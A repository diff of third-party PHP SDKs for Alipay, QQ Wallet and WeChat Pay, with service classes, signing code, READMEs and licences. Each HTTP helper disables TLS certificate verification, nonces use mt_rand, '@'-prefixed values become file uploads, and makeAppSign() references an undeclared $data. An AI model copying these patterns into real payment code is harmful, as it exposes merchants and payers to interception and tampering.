$html .= "<script>document.forms['alipaysubmit'].submit();</script>";
return $html;
}
}
/**
* 拼接请求参数并签名.
*
* @param AlipayRequest $request
*
* @return array
* @throws Exception
*/
protected function build(AlipayRequest $request): array
{
// 组装系统参数
$sysParams = [];
$sysParams['app_id'] = $this->appId;
$sysParams['version'] = $this->apiVersion;
$sysParams['alipay_sdk'] = $this->sdkVersion;
$sysParams['charset'] = $this->charset;
$sysParams['format'] = $this->format;
$sysParams['sign_type'] = $this->signType;
$sysParams['method'] = $request->getApiMethodName();
$sysParams['timestamp'] = $request->getTimestamp();
$sysParams['notify_url'] = $request->getNotifyUrl();
$sysParams['return_url'] = $request->getReturnUrl();
$sysParams['terminal_type'] = $request->getTerminalType();
$sysParams['terminal_info'] = $request->getTerminalInfo();
$sysParams['prod_code'] = $request->getProdCode();
$sysParams['auth_token'] = $request->getAuthToken();
$sysParams['app_auth_token'] = $request->getAppAuthToken();
if (!$this->isEmpty($this->appCertSN) && !$this->isEmpty($this->alipayRootCertSN)) {
$sysParams["app_cert_sn"] = $this->appCertSN;
$sysParams["alipay_root_cert_sn"] = $this->alipayRootCertSN;
}
$sysParams['biz_content'] = $request->getBizContent();
$sysParams = array_merge($sysParams, get_object_vars($request));
// 转换可能是数组的参数
foreach ($sysParams as $key => &$param) {
if (is_array($param) || is_object($param) && !$param instanceof \CURLFile) {
$param = json_encode($param, JSON_UNESCAPED_UNICODE);
}
if (is_null($param)) {
unset($sysParams[$key]);
}
}
// 签名
$sysParams['sign'] = $this->generateSign($sysParams, $this->signType);
return $sysParams;
}
/**
* 验证返回内容签名
*
* @param AlipayResponse $response
* @throws Exception
*/
protected function verifyResponse(AlipayResponse $response)
{
$signData = $response->getSignData();
$sign = $response->getSign();
if ($this->isEmpty($signData) || $this->isEmpty($sign)) {
throw new AlipayResponseException($response->getData());
}
$checkResult = $this->rsaPubilcVerify($signData, $sign, $this->signType);
if (!$checkResult) {
if (strpos($signData, '\/') > 0) {
$signData = str_replace('\/', '/', $signData);
$checkResult = $this->rsaPubilcVerify($signData, $sign, $this->signType);
}
if (!$checkResult) {
throw new Exception('对返回数据使用支付宝公钥验签失败');
}
}
}
/**
* 异步通知回调验签
*
* @param $params
*
* @return bool
*/
public function verify($params): bool
{
if (!$params || !isset($params['sign'])) {
return false;
}
$sign = $params['sign'];
unset($params['sign']);
unset($params['sign_type']);
$data = $this->getSignContent($params);
try {
return $this->rsaPubilcVerify($data, $sign, $this->signType);
} catch (Exception $ex) {
return false;
}
}
/**
* 异步通知回调验签V2
*
* @param $params
*
* @return bool
*/
public function verifyV2($params): bool
{
if (!$params || !isset($params['sign'])) {
return false;
}
$sign = $params['sign'];
unset($params['sign']);
$data = $this->getSignContent($params);
try {
return $this->rsaPubilcVerify($data, $sign, $this->signType);
} catch (Exception $ex) {
return false;
}
}
/**
* 将参数数组签名(计算 Sign 值).
*
* @param array $params 参数数组
* @param string $signType 签名类型
*
* @return string
* @throws Exception
*/
protected function generateSign(array $params, string $signType = 'RSA2'): string
{
$data = $this->getSignContent($params);
return $this->rsaPrivateSign($data, $signType);
}
/**
* 将数组转换为待签名数据.
*
* @param array $params 参数数组
*
* @return string
*/
protected function getSignContent(array $params): string
{
ksort($params);
unset($params['sign']);
$stringToBeSigned = "";
foreach ($params as $k => $v) {
if($v instanceof \CURLFile || $this->isEmpty($v) || substr($v, 0, 1) == '@') continue;
$stringToBeSigned .= "&{$k}={$v}";
}
return substr($stringToBeSigned, 1);
}
/**
* 使用应用私钥签名
*
* @param string $data 待签名数据
* @param string $signType 签名类型
*
* @return string
*
* @throws Exception
* @see https://docs.open.alipay.com/291/106118
*/
protected function rsaPrivateSign(string $data, string $signType = 'RSA2'): string
{
if ($this->isEmpty($this->rsaPrivateKeyFilePath)) {
$priKey = "-----BEGIN RSA PRIVATE KEY-----\n" .
wordwrap($this->rsaPrivateKey, 64, "\n", true) .
"\n-----END RSA PRIVATE KEY-----";
} else {
$priKey = file_get_contents($this->rsaPrivateKeyFilePath);
}
$res = openssl_get_privatekey($priKey);
if(!$res){
throw new Exception('签名失败,应用私钥不正确');
}
if($signType == 'RSA2'){
openssl_sign($data, $sign, $res, OPENSSL_ALGO_SHA256);
}else{
openssl_sign($data, $sign, $res);
}
if(is_resource($res)){
openssl_free_key($res);
}
return base64_encode($sign);
}
/**
* 使用支付宝公钥验签
*
* @param string $data 待验签数据
* @param string $sign 签名
* @param string $signType
* @return bool
* @throws Exception
*/
public function rsaPubilcVerify(string $data, string $sign, string $signType = 'RSA2'): bool
{
if ($this->isEmpty($this->rsaPublicKeyFilePath)) {
$pubKey = "-----BEGIN PUBLIC KEY-----\n" .
wordwrap($this->rsaPublicKey, 64, "\n", true) .
"\n-----END PUBLIC KEY-----";
} else {
$pubKey = file_get_contents($this->rsaPublicKeyFilePath);
}
$res = openssl_get_publickey($pubKey);
if(!$res){
throw new Exception('验签失败,支付宝公钥不正确');
}
if($signType == 'RSA2'){
$result = openssl_verify($data, base64_decode($sign), $res, OPENSSL_ALGO_SHA256);
}else{
$result = openssl_verify($data, base64_decode($sign), $res);
}
if(is_resource($res)){
openssl_free_key($res);
}
return $result === 1;
}
/**
* 校验某字符串或可被转换为字符串的数据,是否为 NULL 或均为空白字符.
*
* @param string|null $value
*
* @return bool
*/
protected function isEmpty(?string $value): bool
{
return $value === null || trim($value) === '';
}
/**
* 发起 GET/POST 请求.
*
* @param string $url 请求地址
* @param array|null $postFields POST 数据
* @return bool|string
* @throws Exception
*/
protected function curl(string $url, array $postFields = null)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FAILONERROR, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
if (is_array($postFields) && 0 < count($postFields)) {
$postMultipart = false;
foreach ($postFields as &$value) {
if ($value instanceof \CURLFile) {
$postMultipart = true;
} elseif(substr($value, 0, 1) == '@' && class_exists('CURLFile')) {
$postMultipart = true;
$file = substr($value, 1);
if(file_exists($file)){
$value = new \CURLFile($file);
}
}
}
curl_setopt($ch, CURLOPT_POST, true);
if($postMultipart){
curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
}else{
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postFields));
}
}
$response = curl_exec($ch);
if (curl_errno($ch) > 0) {
$errmsg = curl_error($ch);
curl_close($ch);
throw new Exception($errmsg, 0);
}
$httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($httpStatusCode != 200) {
curl_close($ch);
throw new Exception($response, $httpStatusCode);
}
curl_close($ch);
return $response;
}
}
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2023 消失的彩虹海
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+39
View File
@@ -0,0 +1,39 @@
# QQPay SDK for PHP
QQ钱包支付第三方 PHP SDK,基于官方最新版本。
### 功能特点
- 根据QQ钱包支付最新API开发,相比官方SDK,功能更完善,代码更简洁
- 支持Composer安装,无需加载多余组件,可应用于任何平台或框架
- 符合`PSR`标准,你可以各种方便的与你的框架集成
- 基本完善的PHPDoc,可以随心所欲添加本项目中没有的API接口
### 环境要求
`PHP` >= 7.1
### 使用方法
1. Composer 安装。
```bash
composer require cccyun/qqpay-sdk
```
2. 创建配置文件 [`config.php`](./examples/config.php),填写QQ钱包支付商户信息。
3. 引入配置文件,构造请求参数,调用PaymentService中的方法发起请求,参考 [`examples/qrpay.php`](./examples/qrpay.php)。
4. 更多实例,请移步 [`examples`](examples/) 目录。
5. 类功能说明
| 类名 | 说明 |
| --------------- | ------------------------------------ |
| PaymentService | 基础支付服务类,所有支付功能都用这个 |
| TransferService | QQ钱包企业付款功能 |
6. 要对接的API在以上实现类中没有,可根据QQ钱包官方的文档,使用BaseService类中的execute方法直接调用接口。
+27
View File
@@ -0,0 +1,27 @@
{
"name": "cccyun/qqpay-sdk",
"description": "QQ钱包支付第三方 PHP SDK,基于官方最新版本。",
"type": "library",
"keywords": [
"qqpay",
"qpay",
"QQ支付"
],
"license": "MIT",
"minimum-stability": "dev",
"prefer-stable": true,
"require": {
"php": ">=7.1"
},
"authors": [
{
"name": "caihong",
"email": "admin@cccyun.cn"
}
],
"autoload": {
"psr-4": {
"QQPay\\": "src/"
}
}
}
+238
View File
@@ -0,0 +1,238 @@
<?php
namespace QQPay;
class BaseService
{
//商户号
protected $mchId;
//商户API密钥
protected $apiKey;
//应用APPID(可空)
protected $appId;
//应用APPKEY(可空)
protected $appKey;
//商户证书路径
protected $sslCertPath;
//商户证书私钥路径
protected $sslKeyPath;
//操作员ID
protected $opUserId;
//操作员密码
protected $opUserPwd;
//公共请求参数
protected $publicParams = [];
/**
* @param $config 微信支付配置信息
*/
public function __construct($config)
{
if (empty($config['mchid'])) {
throw new \InvalidArgumentException("商户号不能为空");
}
if (empty($config['apikey'])) {
throw new \InvalidArgumentException("商户API密钥不能为空");
}
$this->mchId = $config['mchid'];
$this->apiKey = $config['apikey'];
if (isset($config['appid'])) {
$this->appId = $config['appid'];
}
if (isset($config['appkey'])) {
$this->appKey = $config['appkey'];
}
$this->sslCertPath = $config['sslcert_path'];
$this->sslKeyPath = $config['sslkey_path'];
if (isset($config['op_userid'])) {
$this->opUserId = $config['op_userid'];
}
if (isset($config['op_userpwd'])) {
$this->opUserPwd = $config['op_userpwd'];
}
}
/**
* 请求接口并解析返回数据
* @param $url url
* @param $params 请求参数
* @param $cert 是否需要证书
* @return mixed
*/
public function execute($url, $params, $cert = false)
{
$params = array_merge($this->publicParams, $params);
$params['sign'] = $this->makeSign($params);
$xml = $this->array2Xml($params);
$response = $this->curl($url, $xml, $cert);
$result = $this->xml2array($response);
if (isset($result['return_code']) && $result['return_code'] == 'SUCCESS') {
if (isset($result['result_code']) && $result['result_code'] == 'SUCCESS') {
if (isset($result['sign']) && !$this->checkSign($result)) {
throw new \Exception('返回数据验签失败');
}
return $result;
}
}
throw new QQPayException($result);
}
/**
* 下载账单接口
* @param $url url
* @param $params 请求参数
* @param $cert 是否需要证书
* @return mixed
*/
public function download($url, $params)
{
$params = array_merge($this->publicParams, $params);
$params['sign'] = $this->makeSign($params);
$xml = $this->array2Xml($params);
$response = $this->curl($url, $xml);
return $response;
}
/**
* 验签
* @param $data
* @return bool
*/
protected function checkSign($data)
{
if (!isset($data['sign'])) return false;
$sign = $this->makeSign($data);
return $sign === $data['sign'];
}
/**
* 生成签名
* @param $data
* @return string
*/
protected function makeSign($data)
{
ksort($data);
$signStr = '';
foreach ($data as $k => $v) {
if($k != 'sign' && !is_array($v) && !$this->isEmpty($v)){
$signStr .= $k . '=' . $v . '&';
}
}
$signStr = trim($signStr, '&') . '&key=' . $this->apiKey;
$sign = md5($signStr);
return strtoupper($sign);
}
/**
* 校验某字符串或可被转换为字符串的数据,是否为 NULL 或均为空白字符.
*
* @param string|null $value
*
* @return bool
*/
protected function isEmpty($value)
{
return $value === null || $value === '';
}
/**
* 产生随机字符串,不长于32位
* @param int $length
* @return 产生的随机字符串
*/
protected function getNonceStr($length = 32)
{
$chars = "abcdefghijklmnopqrstuvwxyz0123456789";
$str = "";
for ($i = 0; $i < $length; $i++) {
$str .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $str;
}
/**
* 转为XML数据
* @param array $data 源数据
* @return string
*/
protected function array2Xml($data)
{
if (!is_array($data)) {
return false;
}
$xml = '<xml>';
foreach ($data as $key => $val) {
$xml .= (is_numeric($val) ? "<{$key}>{$val}</{$key}>" : "<{$key}><![CDATA[{$val}]]></{$key}>");
}
return $xml . '</xml>';
}
/**
* 解析XML数据
* @param string $xml 源数据
* @return mixed
*/
protected function xml2array($xml)
{
if (!$xml) {
return false;
}
LIBXML_VERSION < 20900 && libxml_disable_entity_loader(true);
return json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA), JSON_UNESCAPED_UNICODE), true);
}
/**
* 以post方式提交xml到对应的接口url
* @param string $url url
* @param string $xml 需要post的xml数据
* @param bool $useCert 是否需要证书
* @param int $second url执行超时时间
* @return string
*/
protected function curl($url, $xml, $useCert = false, $second = 10)
{
$ch = curl_init();
$curlVersion = curl_version();
$ua = "QQPaySDK/1.0 (" . PHP_OS . ") PHP/" . PHP_VERSION . " CURL/" . $curlVersion['version'] . " ". $this->mchId;
curl_setopt($ch, CURLOPT_TIMEOUT, $second);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
if ($useCert) {
if (!file_exists($this->sslCertPath) || !file_exists($this->sslKeyPath)) {
throw new \Exception('商户证书文件不存在');
}
//使用证书:cert 与 key 分别属于两个.pem文件
curl_setopt($ch, CURLOPT_SSLCERTTYPE, 'PEM');
curl_setopt($ch, CURLOPT_SSLCERT, $this->sslCertPath);
curl_setopt($ch, CURLOPT_SSLKEYTYPE, 'PEM');
curl_setopt($ch, CURLOPT_SSLKEY, $this->sslKeyPath);
}
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
$data = curl_exec($ch);
if (curl_errno($ch) > 0) {
$errmsg = curl_error($ch);
curl_close($ch);
throw new \Exception($errmsg, 0);
}
curl_close($ch);
return $data;
}
}
+317
View File
@@ -0,0 +1,317 @@
<?php
namespace QQPay;
/**
* QQ钱包支付服务类
* @see https://mp.qpay.tenpay.cn/buss/wiki/38/1188
*/
class PaymentService extends BaseService
{
public function __construct($config)
{
parent::__construct($config);
$this->publicParams = [
'mch_id' => $this->mchId,
'nonce_str' => $this->getNonceStr(),
];
}
/**
* 统一下单
* @param $params 下单参数
* @return mixed
*/
public function unifiedOrder($params)
{
$url = 'https://qpay.qq.com/cgi-bin/pay/qpay_unified_order.cgi';
if (empty($params['out_trade_no'])) {
throw new \InvalidArgumentException('缺少统一支付接口必填参数out_trade_no');
}
if (empty($params['body'])) {
throw new \InvalidArgumentException('缺少统一支付接口必填参数body');
}
if (empty($params['total_fee'])) {
throw new \InvalidArgumentException('缺少统一支付接口必填参数total_fee');
}
if (empty($params['trade_type'])) {
throw new \InvalidArgumentException('缺少统一支付接口必填参数trade_type');
}
return $this->execute($url, $params);
}
/**
* NATIVE支付
* @param $params 下单参数
* @return mixed {"code_url":"二维码链接","prepay_id":"预支付会话标识"}
*/
public function nativePay($params)
{
$params['trade_type'] = 'NATIVE';
return $this->unifiedOrder($params);
}
/**
* JSAPI支付
* @param $params 下单参数
* @return mixed {"tokenId":"预支付会话标识","appInfo":"标记业务及渠道"}
*/
public function jsapiPay($params)
{
$params['trade_type'] = 'JSAPI';
$result = $this->unifiedOrder($params);
return ['tokenId' => $result['prepay_id'], 'appInfo' => 'appid#' . $this->appId . '|bargainor_id#' . $this->mchId . '|channel#wallet'];
}
/**
* APP支付
* @param $params 下单参数
* @return mixed APP支付json数据
*/
public function appPay($params)
{
$params['trade_type'] = 'APP';
$result = $this->unifiedOrder($params);
return $this->getAppParameters($result['prepay_id']);
}
/**
* 获取APP支付的参数
* @param $prepay_id 预支付交易会话标识
* @return array
*/
private function getAppParameters($prepay_id)
{
$params = [
'appId' => $this->appId,
'nonce' => $this->getNonceStr(),
'tokenId' => $prepay_id,
'pubAcc' => '',
'bargainorId' => $this->mchId,
];
$params['sig'] = $this->makeAppSign($params);
$params['sigType'] = 'HMAC-SHA1';
$params['timeStamp'] = time();
return $params;
}
/**
* 生成APP支付签名
* @param $data
* @return string
*/
private function makeAppSign()
{
ksort($data);
$signStr = '';
foreach ($data as $k => $v) {
$signStr .= $k . '=' . $v . '&';
}
$signStr = trim($signStr, '&');
$sign = base64_encode(hash_hmac("sha1", $signStr, $this->appKey.'&', true));
return $sign;
}
/**
* 付款码支付
* @param $params 下单参数
* @return mixed {"trade_state":"SUCCESS","total_fee":888,"cash_fee":888,"transaction_id":"QQ钱包订单号","out_trade_no":"商户订单号","time_end":"支付完成时间","trade_state_desc":"交易状态描述","openid":"用户标识"}
*/
public function microPay($params)
{
$url = 'https://qpay.qq.com/cgi-bin/pay/qpay_micro_pay.cgi';
if (empty($params['out_trade_no'])) {
throw new \InvalidArgumentException('缺少付款码支付接口必填参数out_trade_no');
}
if (empty($params['body'])) {
throw new \InvalidArgumentException('缺少付款码支付接口必填参数body');
}
if (empty($params['total_fee'])) {
throw new \InvalidArgumentException('缺少付款码支付接口必填参数total_fee');
}
if (empty($params['auth_code'])) {
throw new \InvalidArgumentException('缺少付款码支付接口必填参数auth_code');
}
return $this->execute($url, $params);
}
/**
* 撤销订单
* @param $out_trade_no 商户订单号
* @return mixed
*/
public function reverse($out_trade_no)
{
$url = 'https://api.qpay.qq.com/cgi-bin/pay/qpay_reverse.cgi';
$params = [
'out_trade_no' => $out_trade_no,
'op_user_id' => $this->opUserId,
'op_user_passwd' => md5($this->opUserPwd)
];
return $this->execute($url, $params, true);
}
/**
* 查询订单,QQ钱包订单号、商户订单号至少填一个
* @param $transaction_id QQ钱包订单号
* @param $out_trade_no 商户订单号
* @return mixed
*/
public function orderQuery($transaction_id = null, $out_trade_no = null)
{
$url = 'https://qpay.qq.com/cgi-bin/pay/qpay_order_query.cgi';
$params = [];
if ($transaction_id) {
$params['transaction_id'] = $transaction_id;
} elseif ($out_trade_no) {
$params['out_trade_no'] = $out_trade_no;
}
return $this->execute($url, $params);
}
/**
* 判断订单是否已完成
* @param $transaction_id QQ钱包订单号
* @return bool
*/
public function orderQueryResult($transaction_id)
{
try {
$data = $this->orderQuery($transaction_id);
return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND';
} catch (\Exception $e) {
return false;
}
}
/**
* 关闭订单
* @param $out_trade_no 商户订单号
* @return mixed
*/
public function closeOrder($out_trade_no)
{
$url = 'https://qpay.qq.com/cgi-bin/pay/qpay_close_order.cgi';
$params = [
'out_trade_no' => $out_trade_no
];
return $this->execute($url, $params);
}
/**
* 申请退款
* @param $params
* @return mixed
*/
public function refund($params)
{
$url = 'https://api.qpay.qq.com/cgi-bin/pay/qpay_refund.cgi';
if (empty($params['transaction_id']) && empty($params['out_trade_no'])) {
throw new \InvalidArgumentException('out_trade_no、transaction_id至少填一个');
}
if (empty($params['out_refund_no'])) {
throw new \InvalidArgumentException('out_refund_no参数不能为空');
}
if (empty($params['refund_fee'])) {
throw new \InvalidArgumentException('refund_fee参数不能为空');
}
$params += [
'op_user_id' => $this->opUserId,
'op_user_passwd' => md5($this->opUserPwd)
];
return $this->execute($url, $params, true);
}
/**
* 查询退款
* @param $params
* @return mixed
*/
public function refundQuery($params)
{
$url = 'https://qpay.qq.com/cgi-bin/pay/qpay_refund_query.cgi';
if (empty($params['transaction_id']) && empty($params['out_trade_no']) && empty($params['out_refund_no']) && empty($params['refund_id'])) {
throw new \InvalidArgumentException('退款查询接口中,out_refund_no、out_trade_no、transaction_id、refund_id四个参数必填一个');
}
return $this->execute($url, $params);
}
/**
* 下载对账单
* @param $params
* @return mixed
*/
public function downloadBill($params)
{
$url = 'https://qpay.qq.com/cgi-bin/sp_download/qpay_mch_statement_down.cgi';
if (empty($params['bill_date'])) {
throw new \InvalidArgumentException('bill_date参数不能为空');
}
if (empty($params['bill_type'])) {
throw new \InvalidArgumentException('bill_type参数不能为空');
}
return $this->download($url, $params);
}
/**
* 下载资金账单
* @param $params
* @return mixed
*/
public function downloadFundFlow($params)
{
$url = 'https://qpay.qq.com/cgi-bin/sp_download/qpay_mch_acc_roll.cgi';
if (empty($params['bill_date'])) {
throw new \InvalidArgumentException('bill_date参数不能为空');
}
if (empty($params['acc_type'])) {
throw new \InvalidArgumentException('acc_type参数不能为空');
}
return $this->download($url, $params);
}
/**
* 支付结果通知
* @return bool|mixed
*/
public function notify()
{
$xml = file_get_contents("php://input");
if (empty($xml)) {
throw new \Exception('NO_DATA');
}
$result = $this->xml2array($xml);
if (!$result) {
throw new \Exception('XML_ERROR');
}
if (!$this->checkSign($result)) {
throw new \Exception('签名校验失败');
}
if (!isset($result['transaction_id'])) {
throw new \Exception('缺少订单号参数');
}
if (!$this->orderQueryResult($result['transaction_id'])) {
throw new \Exception('订单未完成');
}
return $result;
}
/**
* 回复通知
* @param $isSuccess 是否成功
* @param $msg 失败原因
*/
public function replyNotify($isSuccess = true, $msg = '')
{
$data = [];
if ($isSuccess) {
$data['return_code'] = 'SUCCESS';
} else {
$data['return_code'] = 'FAIL';
$data['return_msg'] = $msg;
}
$xml = $this->array2Xml($data);
echo $xml;
}
}
+39
View File
@@ -0,0 +1,39 @@
<?php
namespace QQPay;
/**
* QQ钱包支付响应内容异常
*/
class QQPayException extends \Exception
{
private $res = [];
private $errCode;
/**
* @param array $res
*/
public function __construct($res)
{
$this->res = $res;
if (isset($res['err_code'])) {
$this->errCode = $res['err_code'];
$message = '['.$res['err_code'].']'.$res['err_code_des'];
} elseif (isset($res['return_code'])) {
$message = '['.$res['return_code'].']'.$res['return_msg'];
} else {
$message = '返回数据解析失败';
}
parent::__construct($message);
}
public function getResponse()
{
return $this->res;
}
public function getErrCode()
{
return $this->errCode;
}
}
@@ -0,0 +1,68 @@
<?php
namespace QQPay;
/**
* QQ钱包转账服务类
* @see https://mp.qpay.tenpay.cn/buss/wiki/206/1214
*/
class TransferService extends BaseService
{
public function __construct($config)
{
parent::__construct($config);
$this->publicParams = [
'mch_id' => $this->mchId,
'nonce_str' => $this->getNonceStr(),
];
}
/**
* 企业付款到余额
* @param $out_trade_no 商户订单号
* @param $uin 收款QQ号码
* @param $name 用户姓名(填写后校验)
* @param $amount 金额
* @param $memo 备注
* @return mixed {"out_trade_no":"商户订单号","transaction_id":"QQ钱包订单号"}
*/
public function transfer($out_trade_no, $uin, $name, $amount, $memo)
{
$url = 'https://api.qpay.qq.com/cgi-bin/epay/qpay_epay_b2c.cgi';
$params = [
'input_charset' => 'UTF-8',
'out_trade_no' => $out_trade_no,
'uin' => $uin,
'fee_type' => 'CNY',
'total_fee' => $amount,
'memo' => $memo,
'check_real_name' => '0'
];
if (!empty($name)) {
$params['check_name'] = 'FORCE_CHECK';
$params['re_user_name'] = $name;
}
$params += [
'op_user_id' => $this->opUserId,
'op_user_passwd' => md5($this->opUserPwd),
'spbill_create_ip' => $_SERVER['SERVER_ADDR']
];
return $this->execute($url, $params, true);
}
/**
* 查询企业付款
* @param $out_trade_no 商户订单号
* @return mixed {"out_trade_no":"商户订单号","detail_id":"微信付款单号","status":"转账状态","reason":"失败原因","openid":"用户openid","transfer_name":"用户姓名","payment_amount":"付款金额","transfer_time":"转账时间","payment_time":"付款成功时间","desc":"付款备注"}
*/
public function transferQuery($out_trade_no)
{
$url = 'https://qpay.qq.com/cgi-bin/pay/qpay_epay_query.cgi';
$params = [
'out_trade_no' => $out_trade_no
];
return $this->execute($url, $params);
}
}
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2023 消失的彩虹海
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+44
View File
@@ -0,0 +1,44 @@
# WeChatPay SDK for PHP
微信支付第三方 PHP SDK,基于官方最新版本,包含V2和V3两种接口。
### 功能特点
- 根据微信支付最新API开发,相比官方SDK,功能更完善,代码更简洁
- 支持V2和V3两种接口,支持微信支付服务商模式与电商收付通模式
- 支持Composer安装,无需加载多余组件,可应用于任何平台或框架
- 符合`PSR`标准,你可以各种方便的与你的框架集成
- 基本完善的PHPDoc,可以随心所欲添加本项目中没有的API接口
### 环境要求
`PHP` >= 7.1
### 使用方法
1. Composer 安装。
```bash
composer require cccyun/wechatpay-sdk
```
2. 创建APIv2配置文件 [`config.php`](./examples/config.php),或APIv3配置文件 [`config.php`](./examples/V3/config.php),填写微信支付商户信息。
3. 引入配置文件,构造请求参数,调用PaymentService中的方法发起请求,APIv2参考 [`examples/qrpay.php`](./examples/qrpay.php)APIv3参考 [`examples/V3/qrpay.php`](./examples/V3/qrpay.php)
4. 更多实例,请移步 [`examples`](examples/) 目录。
5. 类功能说明
| 类名 | 说明 |
| --------------------- | ------------------------------------------------- |
| PaymentService | 基础支付服务类,所有支付功能都用这个 |
| JsApiTool | JSAPI支付工具类,用于公众号、小程序登录获取Openid |
| TransferService | 微信支付商家转账功能 |
| ProfitsharingService | 微信支付分账功能 |
| ComplainService | 消费者投诉处理功能 |
| PartnerPaymentService | 服务商基础支付服务类,APIv3服务商调用支付功能使用 |
6. 要对接的API在以上实现类中没有,可根据微信支付官方的文档,使用BaseService类中的execute方法直接调用接口,参考 [`examples/V3/other.php`](./examples/V3/other.php)
+27
View File
@@ -0,0 +1,27 @@
{
"name": "cccyun/wechatpay-sdk",
"description": "微信支付第三方 PHP SDK,基于官方最新版本,包含V2和V3两种接口。",
"type": "library",
"keywords": [
"wxpay",
"wechat",
"微信支付"
],
"license": "MIT",
"minimum-stability": "dev",
"prefer-stable": true,
"require": {
"php": ">=7.1"
},
"authors": [
{
"name": "caihong",
"email": "admin@cccyun.cn"
}
],
"autoload": {
"psr-4": {
"WeChatPay\\": "src/"
}
}
}
+225
View File
@@ -0,0 +1,225 @@
<?php
namespace WeChatPay;
use Exception;
class BaseService
{
//SDK版本号
static $VERSION = "3.0.10";
//应用APPID
protected $appId;
//商户号
protected $mchId;
//商户API密钥
protected $apiKey;
//子商户号
protected $subMchId;
//子商户公众账号ID
protected $subAppId;
//商户证书路径
protected $sslCertPath;
//商户证书私钥路径
protected $sslKeyPath;
//公共请求参数
protected $publicParams = [];
/**
* @param array $config 微信支付配置信息
*/
public function __construct(array $config)
{
if (empty($config['appid'])) {
throw new \InvalidArgumentException('应用APPID不能为空');
}
if (empty($config['mchid'])) {
throw new \InvalidArgumentException("商户号不能为空");
}
if (empty($config['apikey'])) {
throw new \InvalidArgumentException("商户API密钥不能为空");
}
$this->appId = $config['appid'];
$this->mchId = $config['mchid'];
$this->apiKey = $config['apikey'];
$this->sslCertPath = $config['sslcert_path'];
$this->sslKeyPath = $config['sslkey_path'];
if (isset($config['sub_mchid'])) {
$this->subMchId = $config['sub_mchid'];
}
if (isset($config['sub_appid'])) {
$this->subAppId = $config['sub_appid'];
}
}
/**
* 请求接口并解析返回数据
* @param string $url url
* @param array $params 请求参数
* @param bool $cert 是否需要证书
* @return mixed
* @throws Exception
*/
public function execute(string $url, array $params, bool $cert = false)
{
$params = array_merge($this->publicParams, $params);
$params['sign'] = $this->makeSign($params);
$xml = $this->array2Xml($params);
$response = $this->curl($url, $xml, $cert);
$result = $this->xml2array($response);
if (isset($result['return_code']) && $result['return_code'] == 'SUCCESS') {
if (isset($result['result_code']) && $result['result_code'] == 'SUCCESS') {
if (isset($result['sign']) && !$this->checkSign($result)) {
throw new Exception('返回数据验签失败');
}
return $result;
}
}
throw new WeChatPayException($result);
}
/**
* 验签
* @param $data
* @return bool
*/
protected function checkSign($data): bool
{
if (!isset($data['sign'])) return false;
$sign = $this->makeSign($data);
return $sign === $data['sign'];
}
/**
* 生成签名
* @param $data
* @return string
*/
protected function makeSign($data): string
{
ksort($data);
$signStr = '';
foreach ($data as $k => $v) {
if($k != 'sign' && !is_array($v) && !$this->isEmpty($v)){
$signStr .= $k . '=' . $v . '&';
}
}
$signStr = trim($signStr, '&') . '&key=' . $this->apiKey;
if (isset($data['sign_type']) && $data['sign_type'] == 'HMAC-SHA256') {
$sign = hash_hmac("sha256", $signStr, $this->apiKey);
} else {
$sign = md5($signStr);
}
return strtoupper($sign);
}
/**
* 校验某字符串或可被转换为字符串的数据,是否为 NULL 或均为空白字符.
*
* @param string|null $value
*
* @return bool
*/
protected function isEmpty(?string $value): bool
{
return $value === null || $value === '';
}
/**
* 产生随机字符串,不长于32位
